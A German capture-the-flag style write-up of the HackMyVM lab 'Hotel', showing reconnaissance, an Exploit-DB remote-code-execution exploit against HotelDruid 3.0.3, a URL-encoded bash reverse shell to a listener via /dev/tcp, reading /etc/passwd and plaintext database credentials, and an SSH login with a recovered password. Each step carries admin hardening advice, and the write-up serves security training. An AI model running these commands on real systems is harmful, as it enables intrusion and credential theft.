Hotel - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
gobuster
curl
python3 (Exploit Script, http.server)
nc
pty (python module)
mysql (client)
find
ss
wget
strings
ttyplay (oder Alternative)
ssh
sudo
wkhtmltopdf (als Exploit-Ziel)
cat
ls
grep

Inhaltsverzeichnis

Reconnaissance

Analyse: Beginn der Aufklärung mit `arp-scan -l`, um aktive Hosts im lokalen Netzwerk zu identifizieren.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.116	08:00:27:39:a1:84	PCS Systemtechnik GmbH
                    

Bewertung: Ein Host mit der IP 192.168.2.116 wurde gefunden. Die MAC-Adresse deutet auf eine VirtualBox VM hin. Dies ist unser Zielsystem "Hotel".

Empfehlung (Pentester): Führen Sie einen Port-Scan auf 192.168.2.116 durch. Fügen Sie ggf. `192.168.2.116 hotel.hmv` zur lokalen `/etc/hosts`-Datei hinzu, falls der Hostname benötigt wird.
Empfehlung (Admin): Standardempfehlungen zur Netzwerküberwachung und Segmentierung.

Analyse: Ein `nmap`-Scan wird auf das Ziel 192.168.2.116 durchgeführt, um offene Ports, Dienste, Versionen und OS-Informationen zu sammeln. Optionen: `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-sV` (Versionserkennung), `-A` (Aggressive Optionen), `-p-` (alle TCP-Ports).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -sV -A 192.168.2.116 -p-
Starting Nmap 7.93 ( https://nmap.org ) at [Scan Time]
Nmap scan report for hotel (192.168.2.116)
Host is up (0.00010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 06:1f:a2:25:19:45:2b:2f:44:cc:74:7a:e2:9b:ab:ac (RSA)
|   256 6f:b9:da:fb:eb:6b:4c:de:33:63:b7:ce:f0:2f:f7:cd (ECDSA)
|_  256 84:fb:1d:5c:4c:c6:60:e8:47:d8:2f:a0:92:8e:fb:18 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title:  Hoteldruid
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:39:A1:84 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms hotel (192.168.2.116)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in [Scan Duration]
                    

Bewertung: Zwei offene Ports wurden identifiziert: * **Port 22 (SSH):** OpenSSH 8.4p1 auf Debian. * **Port 80 (HTTP):** nginx 1.18.0, der eine Webseite mit dem Titel "Hoteldruid" ausliefert. HotelDruid ist eine Open-Source Property Management Software (PMS) für Hotels. Die Hauptangriffsfläche ist die HotelDruid-Anwendung auf Port 80.

Empfehlung (Pentester): Enumerieren Sie die Webanwendung auf Port 80 mit `nikto` und `gobuster`. Suchen Sie nach der spezifischen Version von HotelDruid und bekannten Schwachstellen dafür.
Empfehlung (Admin): Halten Sie nginx, OpenSSH und insbesondere die HotelDruid-Anwendung aktuell. Sichern Sie die Webanwendung und den Server gemäß Best Practices ab.

Web Enumeration (HotelDruid)

Analyse: `nikto` wird auf Port 80 ausgeführt, um nach bekannten Schwachstellen und Konfigurationsfehlern zu suchen.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.116
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.116
+ Target Hostname:    192.168.2.116
+ Target Port:        80
+ Start Time:         2022-10-04 17:42:48 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2022-10-04 17:43:03 (GMT2) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Bewertung: Nikto findet nur die üblichen fehlenden Sicherheitsheader (geringes Risiko) und keine spezifischen Schwachstellen für HotelDruid oder nginx. Dies deutet darauf hin, dass entweder keine leicht auffindbaren Schwachstellen vorhanden sind oder Nikto die Anwendung nicht korrekt erkennt.

Empfehlung (Pentester): Verwenden Sie `gobuster` für eine tiefere Verzeichnissuche und analysieren Sie die Anwendungsstruktur von HotelDruid.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-XSS-Protection`, `X-Content-Type-Options`) in der nginx-Konfiguration.

Analyse: `gobuster` wird eingesetzt, um Verzeichnisse und Dateien im Web-Root zu finden. Es wird eine Standard-Wortliste (`common.txt`) und eine breite Palette an Erweiterungen verwendet. Die hohe Thread-Anzahl (`-t 100`) soll den Prozess beschleunigen. `-s "200,204,301,302,307,401"` beschränkt die Ausgabe auf diese erfolgreichen oder relevanten Statuscodes.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.116" -w /usr/share/dirb/wordlists/common.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.116
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Status codes:            200,204,301,302,307,401
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv,.git
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
[Scan Start Time] Starting gobuster
===============================================================
http://192.168.2.116/api.php                                     (Status: 200) [Size: 0]
http://192.168.2.116/base.js                                     (Status: 200) [Size: 40190]
http://192.168.2.116/includes                                    (Status: 301) [Size: 169] [--> http://192.168.2.116/includes/]
http://192.168.2.116/index.html                                  (Status: 200) [Size: 398]
http://192.168.2.116/clienti.php                                 (Status: 200) [Size: 53412]
http://192.168.2.116/COPYING                                     (Status: 200) [Size: 34520]
http://192.168.2.116/dati                                        (Status: 301) [Size: 169] [--> http://192.168.2.116/dati/]
http://192.168.2.116/README                                      (Status: 200) [Size: 204]
http://192.168.2.116/themes                                      (Status: 301) [Size: 169] [--> http://192.168.2.116/themes/]
http://192.168.2.116/img                                         (Status: 301) [Size: 169] [--> http://192.168.2.116/img/]
http://192.168.2.116/doc                                         (Status: 301) [Size: 169] [--> http://192.168.2.116/doc/]
http://192.168.2.116/doc/TODO                                    (Status: 200) [Size: 44107]
http://192.168.2.116/doc/CHANGELOG                               (Status: 200) [Size: 59759]
http://192.168.2.116/themes/sim/img                              (Status: 301) [Size: 169] [--> http://192.168.2.116/themes/sim/img/]
http://192.168.2.116/themes/sim/php                              (Status: 301) [Size: 169] [--> http://192.168.2.116/themes/sim/php/]
http://192.168.2.116/themes/sim/inc                              (Status: 301) [Size: 169] [--> http://192.168.2.116/themes/sim/inc/]
http://192.168.2.116/themes/col                                  (Status: 301) [Size: 169] [--> http://192.168.2.116/themes/col/]
http://192.168.2.116/themes/sim                                  (Status: 301) [Size: 169] [--> http://192.168.2.116/themes/sim/]
http://192.168.2.116/img/favicon.ico                             (Status: 200) [Size: 1150]
http://192.168.2.116/img/logo.png                                (Status: 200) [Size: 3875]
http://192.168.2.116/dati/unit.php                               (Status: 200) [Size: 0]
http://192.168.2.116/dati/tema.php                               (Status: 200) [Size: 0]
http://192.168.2.116/dati/lingua.php                             (Status: 200) [Size: 0]
http://192.168.2.116/visualizza_tabelle.php                      (Status: 200) [Size: 5788]
http://192.168.2.116/inizio.php                                  (Status: 200) [Size: 1690]
http://192.168.2.116/tabella.php                                 (Status: 200) [Size: 618]
http://192.168.2.116/gestione_utenti.php                         (Status: 200) [Size: 560]
http://192.168.2.116/crea_modelli.php                            (Status: 200) [Size: 1720]
http://192.168.2.116/includes/.htaccess                          (Status: 200) [Size: 32]
http://192.168.2.116/includes/templates                          (Status: 301) [Size: 169] [--> http://192.168.2.116/includes/templates/]
http://192.168.2.116/includes/lang                               (Status: 301) [Size: 169] [--> http://192.168.2.116/includes/lang/]
http://192.168.2.116/includes/head.php                           (Status: 200) [Size: 546]
http://192.168.2.116/includes/foot.php                           (Status: 200) [Size: 23]
http://192.168.2.116/includes/unit.php                           (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/cal                      (Status: 301) [Size: 169] [--> http://192.168.2.116/includes/templates/cal/]
http://192.168.2.116/includes/templates/rat                      (Status: 301) [Size: 169] [--> http://192.168.2.116/includes/templates/rat/]
http://192.168.2.116/includes/templates/cal/themes.php           (Status: 500) [Size: 0]
http://192.168.2.116/includes/templates/cal/template.php         (Status: 502) [Size: 157]
http://192.168.2.116/includes/templates/cal/form.php             (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/cal/name.php             (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/cal/functions.php        (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/cal/var.php              (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/cal/phrases.php          (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/rat/themes.php           (Status: 500) [Size: 0]
http://192.168.2.116/includes/templates/rat/template.php         (Status: 500) [Size: 0]
http://192.168.2.116/includes/templates/rat/form.php             (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/rat/name.php             (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/rat/functions.php        (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/rat/var.php              (Status: 200) [Size: 0]
http://192.168.2.116/includes/templates/rat/phrases.php          (Status: 200) [Size: 0]
http://192.168.2.116/themes/col/php/menu.php                     (Status: 200) [Size: 0]
http://192.168.2.116/themes/col/php/head.php                     (Status: 200) [Size: 0]
http://192.168.2.116/themes/col/php/name.php                     (Status: 200) [Size: 0]
http://192.168.2.116/themes/col/php/foot.php                     (Status: 200) [Size: 0]
http://192.168.2.116/personalizza.php                            (Status: 200) [Size: 4348]
===============================================================
[Scan End Time] Finished
===============================================================
                     

Bewertung: `gobuster` hat eine Vielzahl von Dateien und Verzeichnissen gefunden, die zur HotelDruid-Anwendung gehören. Besonders interessant sind: * `/doc/README.english` und `/doc/CHANGELOG`: Könnten die genaue Version von HotelDruid verraten. * `/dati/`: Dieses Verzeichnis enthält wahrscheinlich Konfigurations- oder Datendateien. * Diverse PHP-Dateien (`clienti.php`, `visualizza_tabelle.php`, `gestione_utenti.php` etc.), die auf die Funktionalität der Anwendung hindeuten. * Die Anwesenheit von `.htaccess` in `/includes/` deutet auf Apache-spezifische Konfigurationen hin, obwohl der Server als nginx identifiziert wurde (möglicherweise Reste einer früheren Installation oder gemischte Konfiguration).

Empfehlung (Pentester): Laden Sie `/doc/README.english` oder `/doc/CHANGELOG` herunter, um die Version von HotelDruid zu bestimmen. Suchen Sie dann gezielt nach Exploits für diese Version (z.B. auf Exploit-DB). Untersuchen Sie die Dateien im `/dati/`-Verzeichnis, insbesondere auf Konfigurationsdateien, die Datenbankzugangsdaten enthalten könnten (`dati_connessione.php` ist ein häufiger Name).
Empfehlung (Admin): Beschränken Sie den Zugriff auf Dokumentations-, Konfigurations- und Datenverzeichnisse. Entfernen Sie nicht benötigte Dateien. Stellen Sie sicher, dass keine sensiblen Informationen (wie DB-Credentials) in PHP-Dateien im Web-Root gespeichert sind.

Analyse: Bei der Untersuchung der Webseite oder der heruntergeladenen Dateien (`README.english`) wurde die Version **HotelDruid 3.0.3** identifiziert. Es wird auf Exploit-DB nach Exploits für diese Version gesucht und ein passender Exploit (50754) gefunden. Dieser Exploit zielt auf eine Remote Code Execution (RCE) Schwachstelle über die Datei `selectappartamenti.php` ab.

--- Aus /doc/README.english (vermutet) ---
HotelDruid version 3.0.3

--- Exploit-DB Suche ---
https://www.exploit-db.com/exploits/50754

--- Exploit Details (Beispiel-URLs aus Exploit-DB) ---
http://192.168.2.116//dati/selectappartamenti.php?cmd=id
http://192.168.2.116/dati/selectappartamenti.php?cmd=hostname
                  

Bewertung: Ein spezifischer, vielversprechender Exploit für die identifizierte HotelDruid-Version wurde gefunden. Die Schwachstelle befindet sich in `dati/selectappartamenti.php` und erlaubt RCE über einen `cmd`-Parameter.

Empfehlung (Pentester): Laden Sie das Exploit-Skript von Exploit-DB herunter (`curl https://www.exploit-db.com/raw/50754 -o hoteldruid.py`). Führen Sie das Skript aus oder testen Sie die RCE manuell mit `curl` und dem `cmd`-Parameter, wie in den Beispiel-URLs gezeigt.
Empfehlung (Admin):** **Dringend:** Aktualisieren Sie HotelDruid sofort auf die neueste Version, die diese Schwachstelle (CVE nicht explizit genannt, aber wahrscheinlich vorhanden) behebt. Entfernen oder sichern Sie die verwundbare Datei `selectappartamenti.php`.

Analyse: Das Exploit-Skript (`hoteldruid.py`) von Exploit-DB wird heruntergeladen und ausgeführt.

┌──(root㉿cyber)-[~] └─# curl https://www.exploit-db.com/raw/50754 -o hoteldruid.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5161  100  5161    0     0  14538      0 --:--:-- --:--:-- --:--:-- 14579

Analyse Ergänzung: Der erste Versuch, den Exploit auszuführen (explizite Befehle nicht gezeigt, aber im Logbuch mit "Box ist kaputt..." kommentiert), schlug fehl. Der Pentester vermutete einen SQL-Fehler in der Ziel-VM und installierte sie neu (oder wechselte zu einer funktionierenden Version, hier wird angenommen, dass die IP 192.168.2.116 nun die funktionierende Version ist, obwohl der Exploit-Output weiter unten 192.168.2.117 zeigt - dies wird als Inkonsistenz im Log behandelt).

:::: Box ist kaputt , hat ein sql Fehler, und der einzige exploit funktioniert einfach nicht :::::::
                                        weiter mit neuinstallation....
                 

Analyse Fortsetzung: Nach der Neuinstallation (oder dem Wechsel zur funktionierenden Instanz) wird das Exploit-Skript (`exploit.py` - umbenannt oder anderes Skript?) erneut ausgeführt, diesmal erfolgreich gegen die (angenommene) IP 192.168.2.116 (obwohl die Ausgabe 117 zeigt). Das Skript bestätigt die RCE-Möglichkeit und gibt Beispiel-URLs zur Ausnutzung an.

┌──(root㉿cyber)-[~] └─# python3 exploit.py -t http://192.168.2.116 --noauth
 /$$   /$$             /$$               /$$       /$$$$$$$                      /$$       /$$
| $$  | $$            | $$              | $$      | $$__  $$                    |__/      | $$
| $$  | $$  /$$$$$$  /$$$$$$    /$$$$$$ | $$      | $$  \ $$  /$$$$$$  /$$   /$$ /$$  /$$$$$$$
| $$$$$$$$ /$$__  $$|_  $$_/   /$$__  $$| $$      | $$  | $$ /$$__  $$| $$  | $$| $$ /$$__  $$
| $$__  $$| $$  \ $$  | $$    | $$$$$$$$| $$      | $$  | $$| $$  \__/| $$  | $$| $$| $$  | $$
| $$  | $$| $$  | $$  | $$ /$$| $$_____/| $$      | $$  | $$| $$      | $$  | $$| $$| $$  | $$
| $$  | $$|  $$$$$$/  |  $$$$/|  $$$$$$$| $$      | $$$$$$$/| $$      |  $$$$$$/| $$|  $$$$$$$
|__/  |__/ \______/    \___/   \_______/|__/      |_______/ |__/       \______/ |__/ \_______/

Exploit By - 0z09e (https://twitter.com/0z09e)


[*] Trying to access the Dashboard.
[*] Checking the privilege of the user.
[+] User has the privilege to add room.
[*] Adding a new room.
[+] Room has been added successfully.
[*] Testing code exection
[+] Code executed successfully, Go to http://192.168.2.116/dati/selectappartamenti.php and execute the code with the parameter 'cmd'. 
[+] Example : http://192.168.2.116/dati/selectappartamenti.php?cmd=id 
[+] Example output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     

Bewertung: Der Exploit für HotelDruid 3.0.3 (RCE in `selectappartamenti.php`) wurde erfolgreich verifiziert. Die Anwendung ist verwundbar, und Befehle können über den `cmd`-Parameter ausgeführt werden. Der fehlgeschlagene erste Versuch unterstreicht die Wichtigkeit einer stabilen Testumgebung.

Empfehlung (Pentester): Nutzen Sie die bestätigte RCE-Schwachstelle, um eine Reverse Shell zu erhalten. Verwenden Sie `curl` oder einen Browser, um die URL `http://192.168.2.116/dati/selectappartamenti.php?cmd=[payload]` mit einem geeigneten Reverse-Shell-Payload aufzurufen.
Empfehlung (Admin): **Dringend:** Patchen Sie HotelDruid oder entfernen Sie die verwundbare Komponente. Validieren Sie alle Benutzereingaben serverseitig, um Command Injection zu verhindern.

Initial Access (HotelDruid RCE)

Analyse: Die RCE-Schwachstelle wird genutzt, um `/etc/passwd` auszulesen und nach Benutzern mit Bash-Zugriff zu filtern.

--- Request: view-source:http://192.168.2.116/dati/selectappartamenti.php?cmd=cat%20/etc/passwd ---
--- Request: view-source:http://192.168.2.116/dati/selectappartamenti.php?cmd=cat%20/etc/passwd%20|%20grep%20bash ---

root:x:0:0:root:/root:/bin/bash
person:x:1000:1000:person,,,:/home/person:/bin/bash
                 

Bewertung: Der Benutzer `person` wurde als regulärer Benutzer mit Bash-Zugriff identifiziert. Dies ist ein potenzielles Ziel für Lateral Movement oder die Suche nach weiteren Informationen.

Empfehlung (Pentester): Etablieren Sie eine Reverse Shell als `www-data`. Suchen Sie anschließend nach Anmeldedaten oder Schwachstellen im Kontext von `www-data`, um möglicherweise zu `person` zu wechseln.
Empfehlung (Admin): Beheben Sie die RCE. Überprüfen Sie Benutzerberechtigungen.

Analyse: Aufbau einer Reverse Shell. Ein Netcat-Listener wird auf Port 9001 auf dem Angreifer-System (192.168.2.140) gestartet. Anschließend wird die RCE-Schwachstelle genutzt, um einen Bash-Reverse-Shell-Payload auszuführen, der sich zum Listener verbindet.

┌──(root㉿cyber)-[~] └─# nc -lvvp 9001
listening on [any] 9001 ...
                     
--- Request: view-source:http://192.168.2.116/dati/selectappartamenti.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27 ---
                 
listening on [any] 9001 ...
DNS fwd/rev mismatch: hotel != hotel.speedport.ip
connect to [192.168.2.140] from hotel [192.168.2.116] 47874

www-data@hotel:~/html/hoteldruid/dati$
                     

Bewertung: **Initial Access erfolgreich!** Die Reverse Shell wurde erfolgreich etabliert. Der Pentester hat nun eine interaktive Shell als Benutzer `www-data` auf dem Zielsystem.

Empfehlung (Pentester): Stabilisieren Sie die Shell und beginnen Sie mit der Enumeration als `www-data`. Suchen Sie nach Konfigurationsdateien (insbesondere im `/dati`-Verzeichnis), Datenbankzugangsdaten und anderen Wegen zur Rechteausweitung.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle. Implementieren Sie Egress Filtering. Überwachen Sie verdächtige ausgehende Verbindungen und Prozesse.

Privilege Escalation Preparation

Analyse: Die erhaltene Shell wird mittels Python PTY stabilisiert und die `TERM`-Variable gesetzt. Anschließend wird die Datei `dati_connessione.php` im aktuellen Verzeichnis gelesen.

www-data@hotel:~/html/hoteldruid/dati$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@hotel:/var/www/html/hoteldruid/dati$
www-data@hotel:/var/www/html/hoteldruid/dati$ export TERM=xterm
[Keine Ausgabe]
www-data@hotel:/var/www/html/hoteldruid/dati$ cat dati_connessione.php
adminp";
$PHPR_LAD_EXT = "";
$PHPR_TAB_PRE = "";
$PHPR_LG = "N";
?>
                     

Bewertung: **Kritischer Fund!** Die Datei `dati_connessione.php` enthält die Zugangsdaten für die MySQL/MariaDB-Datenbank: Benutzer `adminh` mit Passwort `adminp`. Die Datenbank läuft auf `localhost:3306`. Diese Zugangsdaten könnten auch für andere Dienste oder Benutzer wiederverwendet werden.

Empfehlung (Pentester): Versuchen Sie, sich mit den gefundenen Credentials bei der lokalen Datenbank anzumelden (`mysql -u adminh -padminp -h 127.0.0.1 hotel`). Untersuchen Sie die Datenbank auf Benutzer-Hashes oder andere sensible Informationen. Versuchen Sie außerdem, die Credentials (`adminh`/`adminp` und auch `person`/`adminp`) für den SSH-Login des Benutzers `person` zu verwenden.
Empfehlung (Admin):** **Dringend:** Speichern Sie Datenbank-Credentials niemals im Klartext in PHP-Dateien im Web-Root. Verwenden Sie sicherere Methoden wie Umgebungsvariablen oder Konfigurationsdateien außerhalb des Web-Roots mit strengen Berechtigungen. Ändern Sie das Datenbankpasswort und überprüfen Sie, ob es anderweitig wiederverwendet wurde.

Analyse: Überprüfung der laufenden Netzwerkdienste mit `ss -tulpe` und Versuch, sich mit den gefundenen DB-Credentials (`adminh`/`adminp`) sowie dem Benutzernamen `person` bei der lokalen MySQL-Datenbank anzumelden.

www-data@hotel:~/html/hoteldruid/dati$ ss -tulpe
Netid State  Recv-Q Send-Q Local Address:Port   Peer Address:PortProcess
[...]
tcp   LISTEN 0      80         127.0.0.1:mysql       0.0.0.0:*    uid:106 ino:11788 sk:7 cgroup:/system.slice/mariadb.service <->
[...]
                     
www-data@hotel:~/html/hoteldruid/dati$ mysql -u person -p
Enter password: [adminp eingegeben]
ERROR 1045 (28000): Access denied for user 'person'@'localhost' (using password: YES)
                     

Bewertung: `ss` bestätigt, dass ein MySQL/MariaDB-Dienst auf `127.0.0.1:3306` läuft. Der Versuch, sich als Benutzer `person` mit dem Passwort `adminp` anzumelden, schlägt fehl. Dies bedeutet, dass das Datenbankpasswort nicht für den Systembenutzer `person` wiederverwendet wurde. Der Login als `adminh` wurde nicht gezeigt, sollte aber versucht werden.

Empfehlung (Pentester): Versuchen Sie den Datenbank-Login als `adminh` mit Passwort `adminp`. Suchen Sie weiter nach Wegen zur Eskalation, z.B. durch Überprüfung von SUID-Dateien oder Suche nach anderen Passwort-Leaks.
Empfehlung (Admin): Vermeiden Sie Passwort-Wiederverwendung über verschiedene Dienste und Benutzer hinweg.

Analyse: Suche nach SUID-Dateien als alternativen Eskalationspfad.

www-data@hotel:~/html/hoteldruid/dati$ find / -type f -perm -4000 -ls 2>/dev/null
   145194    472 -rwsr-xr-x   1 root     root       481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign
   133959     52 -rwsr-xr--   1 root     messagebus    51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   152454     20 -rwsr-xr-x   1 root     root          19040 Jan 13  2022 /usr/libexec/polkit-agent-helper-1
   131687     72 -rwsr-xr-x   1 root     root          71912 Jan 20  2022 /usr/bin/su
   149116    180 -rwsr-xr-x   1 root     root         182600 Feb 27  2021 /usr/bin/sudo
   129908     88 -rwsr-xr-x   1 root     root          88304 Feb  7  2020 /usr/bin/gpasswd
   133492     44 -rwsr-xr-x   1 root     root          44632 Feb  7  2020 /usr/bin/newgrp
   152452     24 -rwsr-xr-x   1 root     root          23448 Jan 13  2022 /usr/bin/pkexec
   132048     36 -rwsr-xr-x   1 root     root          35040 Jan 20  2022 /usr/bin/umount
   129905     60 -rwsr-xr-x   1 root     root          58416 Feb  7  2020 /usr/bin/chfn
   129909     64 -rwsr-xr-x   1 root     root          63960 Feb  7  2020 /usr/bin/passwd
   129906     52 -rwsr-xr-x   1 root     root          52880 Feb  7  2020 /usr/bin/chsh
   131689     56 -rwsr-xr-x   1 root     root          55528 Jan 20  2022 /usr/bin/mount
                    

Bewertung: Die Liste zeigt Standard-SUID-Binaries sowie `pkexec` (bekannt für CVE-2021-4034 / PwnKit) und `sudo`. Da `sudo` zuvor nicht gefunden wurde (PATH-Problem?), ist dessen Existenz nun bestätigt. Es sind keine ungewöhnlichen oder leicht ausnutzbaren SUID-Dateien vorhanden, außer potenziell `pkexec` (abhängig von der genauen Version).

Empfehlung (Pentester): Versuchen Sie `sudo -l` (mit vollem Pfad `/usr/bin/sudo -l`, falls nötig) als `www-data`. Prüfen Sie die Version von `pkexec` auf die PwnKit-Schwachstelle. Suchen Sie nach Dateien, die dem Benutzer `person` gehören, um dessen Aktivitäten nachzuvollziehen.
Empfehlung (Admin): Überprüfen Sie SUID-Berechtigungen. Patchen Sie `pkexec` (PwnKit).

Analyse: Suche nach Dateien, die dem Benutzer `person` gehören. Die Ausgabe ist sehr lang und enthält viele Dateien der HotelDruid-Anwendung.

www-data@hotel:/opt$ find / -user person 2>/dev/null
/var/www/html/hoteldruid
/var/www/html/hoteldruid/dati
/var/www/html/hoteldruid/dati/DATI
/var/www/html/hoteldruid/inventario.php
/var/www/html/hoteldruid/base.css
/var/www/html/hoteldruid/doc
/var/www/html/hoteldruid/doc/README.themes
/var/www/html/hoteldruid/doc/README.translation
...
                    

Bewertung: Es scheint, dass der Benutzer `person` für die Installation oder Verwaltung von HotelDruid verantwortlich ist. Es gibt keine offensichtlich verdächtigen Dateien in dieser Liste, die direkt auf ein Passwort oder eine Schwachstelle hindeuten. *Der Bericht springt dann zum Fund der `ttylog`-Datei. Es ist unklar, wie diese gefunden wurde. Möglicherweise durch `find / -name *log* 2>/dev/null` oder eine ähnliche Suche, die hier nicht gezeigt wird.*

Empfehlung (Pentester): Da der nächste Schritt `ttylog` involviert, muss diese Datei durch weitere Enumeration gefunden worden sein. Versuchen Sie Suchen nach Log-Dateien oder Backup-Dateien.
Empfehlung (Admin): Überprüfen Sie Dateiberechtigungen und stellen Sie sicher, dass keine sensiblen Log-Dateien für unprivilegierte Benutzer lesbar sind.

Analyse: Eine Datei namens `ttylog` (vermutlich im Home-Verzeichnis von `www-data` oder `/tmp` gefunden, der Fundort fehlt im Log) wird vom Zielsystem zum Angreifer-System übertragen. Dazu wird auf dem Zielsystem ein Python-HTTP-Server gestartet und auf dem Angreifer-System `wget` verwendet.

www-data@hotel:~/html$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.140 - - [05/Oct/2022 00:00:47] "GET /ttylog HTTP/1.1" 200 -
                    
┌──(root㉿cyber)-[~] └─# wget http://192.168.2.116:8000/ttylog
--2022-10-05 00:00:38--  http://192.168.2.116:8000/ttylog
Verbindungsaufbau zu 192.168.2.116:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1592 (1,6K) [application/octet-stream]
Wird in 'ttylog' gespeichert.

ttylog                                    100%[======================================================================================>]   1,55K  --.-KB/s    in 0s

2022-10-05 00:00:38 (94,5 MB/s) - 'ttylog' gespeichert [1592/1592]
                    

Bewertung: Die Log-Datei wurde erfolgreich übertragen. `ttylog`-Dateien stammen oft von Tools wie `ttyrec`, die Terminal-Sitzungen aufzeichnen. Sie können sensible Informationen enthalten.

Empfehlung (Pentester): Analysieren Sie den Inhalt der `ttylog`-Datei mit Tools wie `strings` oder `ttyplay`.
Empfehlung (Admin): Stellen Sie sicher, dass keine Terminal-Aufzeichnungen mit sensiblen Daten (wie Passwörtern) ungeschützt auf dem System verbleiben. Löschen Sie alte oder nicht benötigte Logs.

Analyse: Die heruntergeladene `ttylog`-Datei wird auf dem Angreifer-System mit `strings` untersucht, um lesbare Zeichenketten zu extrahieren. Anschließend wird `ttyplay` (nach Installation via `apt`) verwendet, um die aufgezeichnete Terminal-Sitzung wiederzugeben.

┌──(root㉿cyber)-[~] └─# strings ttylog
[?2004h
]0;person@hotel: ~
person@hotel:~$
[?2004l
[?2004h
]0;person@hotel: ~
person@hotel:~$
[?2004l
exit
                     
┌──(root㉿cyber)-[~] └─# ttyplay ttylog
Command 'ttyplay' not found, but can be installed with:
apt install ttyrec
                     
┌──(root㉿cyber)-[~] └─# ttyplay ttylog
person@hotel:~$ my passw0rd is Endur4nc3. enjoy it!
                     

Bewertung: **Kritischer Fund!** Die Wiedergabe der Terminal-Sitzung mit `ttyplay` enthüllt das Passwort des Benutzers `person`: `Endur4nc3.`. Es wurde anscheinend versehentlich oder absichtlich in die aufgezeichnete Sitzung eingegeben.

Empfehlung (Pentester): Verwenden Sie das gefundene Passwort `Endur4nc3.`, um sich per SSH als Benutzer `person` anzumelden.
Empfehlung (Admin): Schulen Sie Benutzer im sicheren Umgang mit Passwörtern und im Umgang mit Terminal-Aufzeichnungstools. Löschen Sie die `ttylog`-Datei. Ändern Sie das Passwort von `person`.

Lateral Movement / User Access (SSH als person)

Analyse: Versuch, sich per SSH als Benutzer `person` mit dem aus `ttylog` extrahierten Passwort anzumelden.

┌──(root㉿cyber)-[~] └─# ssh person@192.168.2.116
The authenticity of host '192.168.2.116 (192.168.2.116)' can't be established.
ED25519 key fingerprint is SHA256:sYCJAYzE541/4ZyAtfmrZZRGQ7hdWYx8yZEu01QeB8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.116' (ED25519) to the list of known hosts.
person@192.168.2.116's password: Endur4nc3.
Linux hotel 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Feb 20 14:40:49 2022 from 192.168.1.51
person@hotel:~$
                     

Bewertung: **SSH-Login als `person` erfolgreich!** Der Pentester hat nun eine interaktive Shell als Benutzer `person`.

Empfehlung (Pentester): Lesen Sie die User-Flag. Führen Sie `sudo -l` aus, um die Sudo-Berechtigungen für `person` zu prüfen.
